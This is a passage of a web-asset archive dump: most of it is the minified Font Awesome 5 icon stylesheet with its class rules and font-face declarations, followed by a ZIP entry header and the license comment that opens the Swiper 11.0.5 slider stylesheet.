fore{content:"\f4f5"}.fa-keyboard:before{content:"\f11c"}.fa-keycdn:before{content:"\f3ba"}.fa-khanda:before{content:"\f66d"}.fa-kickstarter:before{content:"\f3bb"}.fa-kickstarter-k:before{content:"\f3bc"}.fa-kiss:before{content:"\f596"}.fa-kiss-beam:before{content:"\f597"}.fa-kiss-wink-heart:before{content:"\f598"}.fa-kiwi-bird:before{content:"\f535"}.fa-korvue:before{content:"\f42f"}.fa-landmark:before{content:"\f66f"}.fa-language:before{content:"\f1ab"}.fa-laptop:before{content:"\f109"}.fa-laptop-code:before{content:"\f5fc"}.fa-laptop-medical:before{content:"\f812"}.fa-laravel:before{content:"\f3bd"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-laugh:before{content:"\f599"}.fa-laugh-beam:before{content:"\f59a"}.fa-laugh-squint:before{content:"\f59b"}.fa-laugh-wink:before{content:"\f59c"}.fa-layer-group:before{content:"\f5fd"}.fa-leaf:before{content:"\f06c"}.fa-leanpub:before{content:"\f212"}.fa-lemon:before{content:"\f094"}.fa-less:before{content:"\f41d"}.fa-less-than:before{content:"\f536"}.fa-less-than-equal:before{content:"\f537"}.fa-level-down-alt:before{content:"\f3be"}.fa-level-up-alt:before{content:"\f3bf"}.fa-life-ring:before{content:"\f1cd"}.fa-lightbulb:before{content:"\f0eb"}.fa-line:before{content:"\f3c0"}.fa-link:before{content:"\f0c1"}.fa-linkedin:before{content:"\f08c"}.fa-linkedin-in:before{content:"\f0e1"}.fa-linode:before{content:"\f2b8"}.fa-linux:before{content:"\f17c"}.fa-lira-sign:before{content:"\f195"}.fa-list:before{content:"\f03a"}.fa-list-alt:before{content:"\f022"}.fa-list-ol:before{content:"\f0cb"}.fa-list-ul:before{content:"\f0ca"}.fa-location-arrow:before{content:"\f124"}.fa-lock:before{content:"\f023"}.fa-lock-open:before{content:"\f3c1"}.fa-long-arrow-alt-down:before{content:"\f309"}.fa-long-arrow-alt-left:before{content:"\f30a"}.fa-long-arrow-alt-right:before{content:"\f30b"}.fa-long-arrow-alt-up:before{content:"\f30c"}.fa-low-vision:before{content:"\f2a8"}.fa-luggage-cart:before{content:"\f59d"}.fa-lyft:before{content:"\f3c3"}.fa-magento:before{content:"\f3c4"}.fa-magic:before{content:"\f0d0"}.fa-magnet:before{content:"\f076"}.fa-mail-bulk:before{content:"\f674"}.fa-mailchimp:before{content:"\f59e"}.fa-male:before{content:"\f183"}.fa-mandalorian:before{content:"\f50f"}.fa-map:before{content:"\f279"}.fa-map-marked:before{content:"\f59f"}.fa-map-marked-alt:before{content:"\f5a0"}.fa-map-marker:before{content:"\f041"}.fa-map-marker-alt:before{content:"\f3c5"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-markdown:before{content:"\f60f"}.fa-marker:before{content:"\f5a1"}.fa-mars:before{content:"\f222"}.fa-mars-double:before{content:"\f227"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mask:before{content:"\f6fa"}.fa-mastodon:before{content:"\f4f6"}.fa-maxcdn:before{content:"\f136"}.fa-mdb:before{content:"\f8ca"}.fa-medal:before{content:"\f5a2"}.fa-medapps:before{content:"\f3c6"}.fa-medium:before{content:"\f23a"}.fa-medium-m:before{content:"\f3c7"}.fa-medkit:before{content:"\f0fa"}.fa-medrt:before{content:"\f3c8"}.fa-meetup:before{content:"\f2e0"}.fa-megaport:before{content:"\f5a3"}.fa-meh:before{content:"\f11a"}.fa-meh-blank:before{content:"\f5a4"}.fa-meh-rolling-eyes:before{content:"\f5a5"}.fa-memory:before{content:"\f538"}.fa-mendeley:before{content:"\f7b3"}.fa-menorah:before{content:"\f676"}.fa-mercury:before{content:"\f223"}.fa-meteor:before{content:"\f753"}.fa-microchip:before{content:"\f2db"}.fa-microphone:before{content:"\f130"}.fa-microphone-alt:before{content:"\f3c9"}.fa-microphone-alt-slash:before{content:"\f539"}.fa-microphone-slash:before{content:"\f131"}.fa-microscope:before{content:"\f610"}.fa-microsoft:before{content:"\f3ca"}.fa-minus:before{content:"\f068"}.fa-minus-circle:before{content:"\f056"}.fa-minus-square:before{content:"\f146"}.fa-mitten:before{content:"\f7b5"}.fa-mix:before{content:"\f3cb"}.fa-mixcloud:before{content:"\f289"}.fa-mizuni:before{content:"\f3cc"}.fa-mobile:before{content:"\f10b"}.fa-mobile-alt:before{content:"\f3cd"}.fa-modx:before{content:"\f285"}.fa-monero:before{content:"\f3d0"}.fa-money-bill:before{content:"\f0d6"}.fa-money-bill-alt:before{content:"\f3d1"}.fa-money-bill-wave:before{content:"\f53a"}.fa-money-bill-wave-alt:before{content:"\f53b"}.fa-money-check:before{content:"\f53c"}.fa-money-check-alt:before{content:"\f53d"}.fa-monument:before{content:"\f5a6"}.fa-moon:before{content:"\f186"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-mosque:before{content:"\f678"}.fa-motorcycle:before{content:"\f21c"}.fa-mountain:before{content:"\f6fc"}.fa-mouse:before{content:"\f8cc"}.fa-mouse-pointer:before{content:"\f245"}.fa-mug-hot:before{content:"\f7b6"}.fa-music:before{content:"\f001"}.fa-napster:before{content:"\f3d2"}.fa-neos:before{content:"\f612"}.fa-network-wired:before{content:"\f6ff"}.fa-neuter:before{content:"\f22c"}.fa-newspaper:before{content:"\f1ea"}.fa-nimblr:before{content:"\f5a8"}.fa-node:before{content:"\f419"}.fa-node-js:before{content:"\f3d3"}.fa-not-equal:before{content:"\f53e"}.fa-notes-medical:before{content:"\f481"}.fa-npm:before{content:"\f3d4"}.fa-ns8:before{content:"\f3d5"}.fa-nutritionix:before{content:"\f3d6"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-oil-can:before{content:"\f613"}.fa-old-republic:before{content:"\f510"}.fa-om:before{content:"\f679"}.fa-opencart:before{content:"\f23d"}.fa-openid:before{content:"\f19b"}.fa-opera:before{content:"\f26a"}.fa-optin-monster:before{content:"\f23c"}.fa-orcid:before{content:"\f8d2"}.fa-osi:before{content:"\f41a"}.fa-otter:before{content:"\f700"}.fa-outdent:before{content:"\f03b"}.fa-page4:before{content:"\f3d7"}.fa-pagelines:before{content:"\f18c"}.fa-pager:before{content:"\f815"}.fa-paint-brush:before{content:"\f1fc"}.fa-paint-roller:before{content:"\f5aa"}.fa-palette:before{content:"\f53f"}.fa-palfed:before{content:"\f3d8"}.fa-pallet:before{content:"\f482"}.fa-paper-plane:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-parking:before{content:"\f540"}.fa-passport:before{content:"\f5ab"}.fa-pastafarianism:before{content:"\f67b"}.fa-paste:before{content:"\f0ea"}.fa-patreon:before{content:"\f3d9"}.fa-pause:before{content:"\f04c"}.fa-pause-circle:before{content:"\f28b"}.fa-paw:before{content:"\f1b0"}.fa-paypal:before{content:"\f1ed"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-square:before{content:"\f14b"}.fa-pencil-alt:before{content:"\f303"}.fa-pencil-ruler:before{content:"\f5ae"}.fa-penny-arcade:before{content:"\f704"}.fa-people-carry:before{content:"\f4ce"}.fa-pepper-hot:before{content:"\f816"}.fa-percent:before{content:"\f295"}.fa-percentage:before{content:"\f541"}.fa-periscope:before{content:"\f3da"}.fa-person-booth:before{content:"\f756"}.fa-phabricator:before{content:"\f3db"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-phoenix-squadron:before{content:"\f511"}.fa-phone:before{content:"\f095"}.fa-phone-alt:before{content:"\f879"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-square:before{content:"\f098"}.fa-phone-square-alt:before{content:"\f87b"}.fa-phone-volume:before{content:"\f2a0"}.fa-photo-video:before{content:"\f87c"}.fa-php:before{content:"\f457"}.fa-pied-piper:before{content:"\f2ae"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pinterest:before{content:"\f0d2"}.fa-pinterest-p:before{content:"\f231"}.fa-pinterest-square:before{content:"\f0d3"}.fa-pizza-slice:before{content:"\f818"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-departure:before{content:"\f5b0"}.fa-play:before{content:"\f04b"}.fa-play-circle:before{content:"\f144"}.fa-playstation:before{content:"\f3df"}.fa-plug:before{content:"\f1e6"}.fa-plus:before{content:"\f067"}.fa-plus-circle:before{content:"\f055"}.fa-plus-square:before{content:"\f0fe"}.fa-podcast:before{content:"\f2ce"}.fa-poll:before{content:"\f681"}.fa-poll-h:before{content:"\f682"}.fa-poo:before{content:"\f2fe"}.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-portrait:before{content:"\f3e0"}.fa-pound-sign:before{content:"\f154"}.fa-power-off:before{content:"\f011"}.fa-pray:before{content:"\f683"}.fa-praying-hands:before{content:"\f684"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-procedures:before{content:"\f487"}.fa-product-hunt:before{content:"\f288"}.fa-project-diagram:before{content:"\f542"}.fa-pushed:before{content:"\f3e1"}.fa-puzzle-piece:before{content:"\f12e"}.fa-python:before{content:"\f3e2"}.fa-qq:before{content:"\f1d6"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\f128"}.fa-question-circle:before{content:"\f059"}.fa-quidditch:before{content:"\f458"}.fa-quinscape:before{content:"\f459"}.fa-quora:before{content:"\f2c4"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-quran:before{content:"\f687"}.fa-r-project:before{content:"\f4f7"}.fa-radiation:before{content:"\f7b9"}.fa-radiation-alt:before{content:"\f7ba"}.fa-rainbow:before{content:"\f75b"}.fa-random:before{content:"\f074"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-ravelry:before{content:"\f2d9"}.fa-react:before{content:"\f41b"}.fa-reacteurope:before{content:"\f75d"}.fa-readme:before{content:"\f4d5"}.fa-rebel:before{content:"\f1d0"}.fa-receipt:before{content:"\f543"}.fa-record-vinyl:before{content:"\f8d9"}.fa-recycle:before{content:"\f1b8"}.fa-red-river:before{content:"\f3e3"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-alien:before{content:"\f281"}.fa-reddit-square:before{content:"\f1a2"}.fa-redhat:before{content:"\f7bc"}.fa-redo:before{content:"\f01e"}.fa-redo-alt:before{content:"\f2f9"}.fa-registered:before{content:"\f25d"}.fa-remove-format:before{content:"\f87d"}.fa-renren:before{content:"\f18b"}.fa-reply:before{content:"\f3e5"}.fa-reply-all:before{content:"\f122"}.fa-replyd:before{content:"\f3e6"}.fa-republican:before{content:"\f75e"}.fa-researchgate:before{content:"\f4f8"}.fa-resolving:before{content:"\f3e7"}.fa-restroom:before{content:"\f7bd"}.fa-retweet:before{content:"\f079"}.fa-rev:before{content:"\f5b2"}.fa-ribbon:before{content:"\f4d6"}.fa-ring:before{content:"\f70b"}.fa-road:before{content:"\f018"}.fa-robot:before{content:"\f544"}.fa-rocket:before{content:"\f135"}.fa-rocketchat:before{content:"\f3e8"}.fa-rockrms:before{content:"\f3e9"}.fa-route:before{content:"\f4d7"}.fa-rss:before{content:"\f09e"}.fa-rss-square:before{content:"\f143"}.fa-ruble-sign:before{content:"\f158"}.fa-ruler:before{content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-sad-cry:before{content:"\f5b3"}.fa-sad-tear:before{content:"\f5b4"}.fa-safari:before{content:"\f267"}.fa-salesforce:before{content:"\f83b"}.fa-sass:before{content:"\f41e"}.fa-satellite:before{content:"\f7bf"}.fa-satellite-dish:before{content:"\f7c0"}.fa-save:before{content:"\f0c7"}.fa-schlix:before{content:"\f3ea"}.fa-school:before{content:"\f549"}.fa-screwdriver:before{content:"\f54a"}.fa-scribd:before{content:"\f28a"}.fa-scroll:before{content:"\f70e"}.fa-sd-card:before{content:"\f7c2"}.fa-search:before{content:"\f002"}.fa-search-dollar:before{content:"\f688"}.fa-search-location:before{content:"\f689"}.fa-search-minus:before{content:"\f010"}.fa-search-plus:before{content:"\f00e"}.fa-searchengin:before{content:"\f3eb"}.fa-seedling:before{content:"\f4d8"}.fa-sellcast:before{content:"\f2da"}.fa-sellsy:before{content:"\f213"}.fa-server:before{content:"\f233"}.fa-servicestack:before{content:"\f3ec"}.fa-shapes:before{content:"\f61f"}.fa-share:before{content:"\f064"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-share-square:before{content:"\f14d"}.fa-shekel-sign:before{content:"\f20b"}.fa-shield-alt:before{content:"\f3ed"}.fa-ship:before{content:"\f21a"}.fa-shipping-fast:before{content:"\f48b"}.fa-shirtsinbulk:before{content:"\f214"}.fa-shoe-prints:before{content:"\f54b"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-shopping-cart:before{content:"\f07a"}.fa-shopware:before{content:"\f5b5"}.fa-shower:before{content:"\f2cc"}.fa-shuttle-van:before{content:"\f5b6"}.fa-sign:before{content:"\f4d9"}.fa-sign-in-alt:before{content:"\f2f6"}.fa-sign-language:before{content:"\f2a7"}.fa-sign-out-alt:before{content:"\f2f5"}.fa-signal:before{content:"\f012"}.fa-signature:before{content:"\f5b7"}.fa-sim-card:before{content:"\f7c4"}.fa-simplybuilt:before{content:"\f215"}.fa-sistrix:before{content:"\f3ee"}.fa-sitemap:before{content:"\f0e8"}.fa-sith:before{content:"\f512"}.fa-skating:before{content:"\f7c5"}.fa-sketch:before{content:"\f7c6"}.fa-skiing:before{content:"\f7c9"}.fa-skiing-nordic:before{content:"\f7ca"}.fa-skull:before{content:"\f54c"}.fa-skull-crossbones:before{content:"\f714"}.fa-skyatlas:before{content:"\f216"}.fa-skype:before{content:"\f17e"}.fa-slack:before{content:"\f198"}.fa-slack-hash:before{content:"\f3ef"}.fa-slash:before{content:"\f715"}.fa-sleigh:before{content:"\f7cc"}.fa-sliders-h:before{content:"\f1de"}.fa-slideshare:before{content:"\f1e7"}.fa-smile:before{content:"\f118"}.fa-smile-beam:before{content:"\f5b8"}.fa-smile-wink:before{content:"\f4da"}.fa-smog:before{content:"\f75f"}.fa-smoking:before{content:"\f48d"}.fa-smoking-ban:before{content:"\f54d"}.fa-sms:before{content:"\f7cd"}.fa-snapchat:before{content:"\f2ab"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-snowboarding:before{content:"\f7ce"}.fa-snowflake:before{content:"\f2dc"}.fa-snowman:before{content:"\f7d0"}.fa-snowplow:before{content:"\f7d2"}.fa-socks:before{content:"\f696"}.fa-solar-panel:before{content:"\f5ba"}.fa-sort:before{content:"\f0dc"}.fa-sort-alpha-down:before{content:"\f15d"}.fa-sort-alpha-down-alt:before{content:"\f881"}.fa-sort-alpha-up:before{content:"\f15e"}.fa-sort-alpha-up-alt:before{content:"\f882"}.fa-sort-amount-down:before{content:"\f160"}.fa-sort-amount-down-alt:before{content:"\f884"}.fa-sort-amount-up:before{content:"\f161"}.fa-sort-amount-up-alt:before{content:"\f885"}.fa-sort-down:before{content:"\f0dd"}.fa-sort-numeric-down:before{content:"\f162"}.fa-sort-numeric-down-alt:before{content:"\f886"}.fa-sort-numeric-up:before{content:"\f163"}.fa-sort-numeric-up-alt:before{content:"\f887"}.fa-sort-up:before{content:"\f0de"}.fa-soundcloud:before{content:"\f1be"}.fa-sourcetree:before{content:"\f7d3"}.fa-spa:before{content:"\f5bb"}.fa-space-shuttle:before{content:"\f197"}.fa-speakap:before{content:"\f3f3"}.fa-speaker-deck:before{content:"\f83c"}.fa-spell-check:before{content:"\f891"}.fa-spider:before{content:"\f717"}.fa-spinner:before{content:"\f110"}.fa-splotch:before{content:"\f5bc"}.fa-spotify:before{content:"\f1bc"}.fa-spray-can:before{content:"\f5bd"}.fa-square:before{content:"\f0c8"}.fa-square-full:before{content:"\f45c"}.fa-square-root-alt:before{content:"\f698"}.fa-squarespace:before{content:"\f5be"}.fa-stack-exchange:before{content:"\f18d"}.fa-stack-overflow:before{content:"\f16c"}.fa-stackpath:before{content:"\f842"}.fa-stamp:before{content:"\f5bf"}.fa-star:before{content:"\f005"}.fa-star-and-crescent:before{content:"\f699"}.fa-star-half:before{content:"\f089"}.fa-star-half-alt:before{content:"\f5c0"}.fa-star-of-david:before{content:"\f69a"}.fa-star-of-life:before{content:"\f621"}.fa-staylinked:before{content:"\f3f5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-steam-symbol:before{content:"\f3f6"}.fa-step-backward:before{content:"\f048"}.fa-step-forward:before{content:"\f051"}.fa-stethoscope:before{content:"\f0f1"}.fa-sticker-mule:before{content:"\f3f7"}.fa-sticky-note:before{content:"\f249"}.fa-stop:before{content:"\f04d"}.fa-stop-circle:before{content:"\f28d"}.fa-stopwatch:before{content:"\f2f2"}.fa-store:before{content:"\f54e"}.fa-store-alt:before{content:"\f54f"}.fa-strava:before{content:"\f428"}.fa-stream:before{content:"\f550"}.fa-street-view:before{content:"\f21d"}.fa-strikethrough:before{content:"\f0cc"}.fa-stripe:before{content:"\f429"}.fa-stripe-s:before{content:"\f42a"}.fa-stroopwafel:before{content:"\f551"}.fa-studiovinari:before{content:"\f3f8"}.fa-stumbleupon:before{content:"\f1a4"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-subscript:before{content:"\f12c"}.fa-subway:before{content:"\f239"}.fa-suitcase:before{content:"\f0f2"}.fa-suitcase-rolling:before{content:"\f5c1"}.fa-sun:before{content:"\f185"}.fa-superpowers:before{content:"\f2dd"}.fa-superscript:before{content:"\f12b"}.fa-supple:before{content:"\f3f9"}.fa-surprise:before{content:"\f5c2"}.fa-suse:before{content:"\f7d6"}.fa-swatchbook:before{content:"\f5c3"}.fa-swift:before{content:"\f8e1"}.fa-swimmer:before{content:"\f5c4"}.fa-swimming-pool:before{content:"\f5c5"}.fa-symfony:before{content:"\f83d"}.fa-synagogue:before{content:"\f69b"}.fa-sync:before{content:"\f021"}.fa-sync-alt:before{content:"\f2f1"}.fa-syringe:before{content:"\f48e"}.fa-table:before{content:"\f0ce"}.fa-table-tennis:before{content:"\f45d"}.fa-tablet:before{content:"\f10a"}.fa-tablet-alt:before{content:"\f3fa"}.fa-tablets:before{content:"\f490"}.fa-tachometer-alt:before{content:"\f3fd"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-tape:before{content:"\f4db"}.fa-tasks:before{content:"\f0ae"}.fa-taxi:before{content:"\f1ba"}.fa-teamspeak:before{content:"\f4f9"}.fa-teeth:before{content:"\f62e"}.fa-teeth-open:before{content:"\f62f"}.fa-telegram:before{content:"\f2c6"}.fa-telegram-plane:before{content:"\f3fe"}.fa-temperature-high:before{content:"\f769"}.fa-temperature-low:before{content:"\f76b"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-tenge:before{content:"\f7d7"}.fa-terminal:before{content:"\f120"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-th:before{content:"\f00a"}.fa-th-large:before{content:"\f009"}.fa-th-list:before{content:"\f00b"}.fa-the-red-yeti:before{content:"\f69d"}.fa-theater-masks:before{content:"\f630"}.fa-themeco:before{content:"\f5c6"}.fa-themeisle:before{content:"\f2b2"}.fa-thermometer:before{content:"\f491"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:before{content:"\f731"}.fa-thumbs-down:before{content:"\f165"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbtack:before{content:"\f08d"}.fa-ticket-alt:before{content:"\f3ff"}.fa-times:before{content:"\f00d"}.fa-times-circle:before{content:"\f057"}.fa-tint:before{content:"\f043"}.fa-tint-slash:before{content:"\f5c7"}.fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-tooth:before{content:"\f5c9"}.fa-torah:before{content:"\f6a0"}.fa-torii-gate:before{content:"\f6a1"}.fa-tractor:before{content:"\f722"}.fa-trade-federation:before{content:"\f513"}.fa-trademark:before{content:"\f25c"}.fa-traffic-light:before{content:"\f637"}.fa-train:before{content:"\f238"}.fa-tram:before{content:"\f7da"}.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-trash:before{content:"\f1f8"}.fa-trash-alt:before{content:"\f2ed"}.fa-trash-restore:before{content:"\f829"}.fa-trash-restore-alt:before{content:"\f82a"}.fa-tree:before{content:"\f1bb"}.fa-trello:before{content:"\f181"}.fa-tripadvisor:before{content:"\f262"}.fa-trophy:before{content:"\f091"}.fa-truck:before{content:"\f0d1"}.fa-truck-loading:before{content:"\f4de"}.fa-truck-monster:before{content:"\f63b"}.fa-truck-moving:before{content:"\f4df"}.fa-truck-pickup:before{content:"\f63c"}.fa-tshirt:before{content:"\f553"}.fa-tty:before{content:"\f1e4"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-tv:before{content:"\f26c"}.fa-twitch:before{content:"\f1e8"}.fa-twitter:before{content:"\f099"}.fa-twitter-square:before{content:"\f081"}.fa-typo3:before{content:"\f42b"}.fa-uber:before{content:"\f402"}.fa-ubuntu:before{content:"\f7df"}.fa-uikit:before{content:"\f403"}.fa-umbraco:before{content:"\f8e8"}.fa-umbrella:before{content:"\f0e9"}.fa-umbrella-beach:before{content:"\f5ca"}.fa-underline:before{content:"\f0cd"}.fa-undo:before{content:"\f0e2"}.fa-undo-alt:before{content:"\f2ea"}.fa-uniregistry:before{content:"\f404"}.fa-universal-access:before{content:"\f29a"}.fa-university:before{content:"\f19c"}.fa-unlink:before{content:"\f127"}.fa-unlock:before{content:"\f09c"}.fa-unlock-alt:before{content:"\f13e"}.fa-untappd:before{content:"\f405"}.fa-upload:before{content:"\f093"}.fa-ups:before{content:"\f7e0"}.fa-usb:before{content:"\f287"}.fa-user:before{content:"\f007"}.fa-user-alt:before{content:"\f406"}.fa-user-alt-slash:before{content:"\f4fa"}.fa-user-astronaut:before{content:"\f4fb"}.fa-user-check:before{content:"\f4fc"}.fa-user-circle:before{content:"\f2bd"}.fa-user-clock:before{content:"\f4fd"}.fa-user-cog:before{content:"\f4fe"}.fa-user-edit:before{content:"\f4ff"}.fa-user-friends:before{content:"\f500"}.fa-user-graduate:before{content:"\f501"}.fa-user-injured:before{content:"\f728"}.fa-user-lock:before{content:"\f502"}.fa-user-md:before{content:"\f0f0"}.fa-user-minus:before{content:"\f503"}.fa-user-ninja:before{content:"\f504"}.fa-user-nurse:before{content:"\f82f"}.fa-user-plus:before{content:"\f234"}.fa-user-secret:before{content:"\f21b"}.fa-user-shield:before{content:"\f505"}.fa-user-slash:before{content:"\f506"}.fa-user-tag:before{content:"\f507"}.fa-user-tie:before{content:"\f508"}.fa-user-times:before{content:"\f235"}.fa-users:before{content:"\f0c0"}.fa-users-cog:before{content:"\f509"}.fa-usps:before{content:"\f7e1"}.fa-ussunnah:before{content:"\f407"}.fa-utensil-spoon:before{content:"\f2e5"}.fa-utensils:before{content:"\f2e7"}.fa-vaadin:before{content:"\f408"}.fa-vector-square:before{content:"\f5cb"}.fa-venus:before{content:"\f221"}.fa-venus-double:before{content:"\f226"}.fa-venus-mars:before{content:"\f228"}.fa-viacoin:before{content:"\f237"}.fa-viadeo:before{content:"\f2a9"}.fa-viadeo-square:before{content:"\f2aa"}.fa-vial:before{content:"\f492"}.fa-vials:before{content:"\f493"}.fa-viber:before{content:"\f409"}.fa-video:before{content:"\f03d"}.fa-video-slash:before{content:"\f4e2"}.fa-vihara:before{content:"\f6a7"}.fa-vimeo:before{content:"\f40a"}.fa-vimeo-square:before{content:"\f194"}.fa-vimeo-v:before{content:"\f27d"}.fa-vine:before{content:"\f1ca"}.fa-vk:before{content:"\f189"}.fa-vnv:before{content:"\f40b"}.fa-voicemail:before{content:"\f897"}.fa-volleyball-ball:before{content:"\f45f"}.fa-volume-down:before{content:"\f027"}.fa-volume-mute:before{content:"\f6a9"}.fa-volume-off:before{content:"\f026"}.fa-volume-up:before{content:"\f028"}.fa-vote-yea:before{content:"\f772"}.fa-vr-cardboard:before{content:"\f729"}.fa-vuejs:before{content:"\f41f"}.fa-walking:before{content:"\f554"}.fa-wallet:before{content:"\f555"}.fa-warehouse:before{content:"\f494"}.fa-water:before{content:"\f773"}.fa-wave-square:before{content:"\f83e"}.fa-waze:before{content:"\f83f"}.fa-weebly:before{content:"\f5cc"}.fa-weibo:before{content:"\f18a"}.fa-weight:before{content:"\f496"}.fa-weight-hanging:before{content:"\f5cd"}.fa-weixin:before{content:"\f1d7"}.fa-whatsapp:before{content:"\f232"}.fa-whatsapp-square:before{content:"\f40c"}.fa-wheelchair:before{content:"\f193"}.fa-whmcs:before{content:"\f40d"}.fa-wifi:before{content:"\f1eb"}.fa-wikipedia-w:before{content:"\f266"}.fa-wind:before{content:"\f72e"}.fa-window-close:before{content:"\f410"}.fa-window-maximize:before{content:"\f2d0"}.fa-window-minimize:before{content:"\f2d1"}.fa-window-restore:before{content:"\f2d2"}.fa-windows:before{content:"\f17a"}.fa-wine-bottle:before{content:"\f72f"}.fa-wine-glass:before{content:"\f4e3"}.fa-wine-glass-alt:before{content:"\f5ce"}.fa-wix:before{content:"\f5cf"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-wolf-pack-battalion:before{content:"\f514"}.fa-won-sign:before{content:"\f159"}.fa-wordpress:before{content:"\f19a"}.fa-wordpress-simple:before{content:"\f411"}.fa-wpbeginner:before{content:"\f297"}.fa-wpexplorer:before{content:"\f2de"}.fa-wpforms:before{content:"\f298"}.fa-wpressr:before{content:"\f3e4"}.fa-wrench:before{content:"\f0ad"}.fa-x-ray:before{content:"\f497"}.fa-xbox:before{content:"\f412"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-y-combinator:before{content:"\f23b"}.fa-yahoo:before{content:"\f19e"}.fa-yammer:before{content:"\f840"}.fa-yandex:before{content:"\f413"}.fa-yandex-international:before{content:"\f414"}.fa-yarn:before{content:"\f7e3"}.fa-yelp:before{content:"\f1e9"}.fa-yen-sign:before{content:"\f157"}.fa-yin-yang:before{content:"\f6ad"}.fa-yoast:before{content:"\f2b1"}.fa-youtube:before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:normal;font-display:swap;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands"}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;font-display:swap;src:url(../webfonts/fa-regular-400.eot);src:url(../webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.woff) format("woff"),url(../webfonts/fa-regular-400.ttf) format("truetype"),url(../webfonts/fa-regular-400.svg#fontawesome) format("svg")}.far{font-weight:400}@font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:swap;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.far,.fas{font-family:"Font Awesome 5 Free"}.fa,.fas{font-weight:900}PK     N\)蛄H  H    css/swiper-bundle.min.cssnu [        /**
 * Swiper 11.0.5
 * Most modern mobile touch slider and framework with hardware accelerated transitions
 * https://swiperjs.com
 *
 * Copyright 2014-2023 Vladimir Kharlampidi
 *
 * Released under the MIT License
 *
 * Released on: November 22, 2023
 */

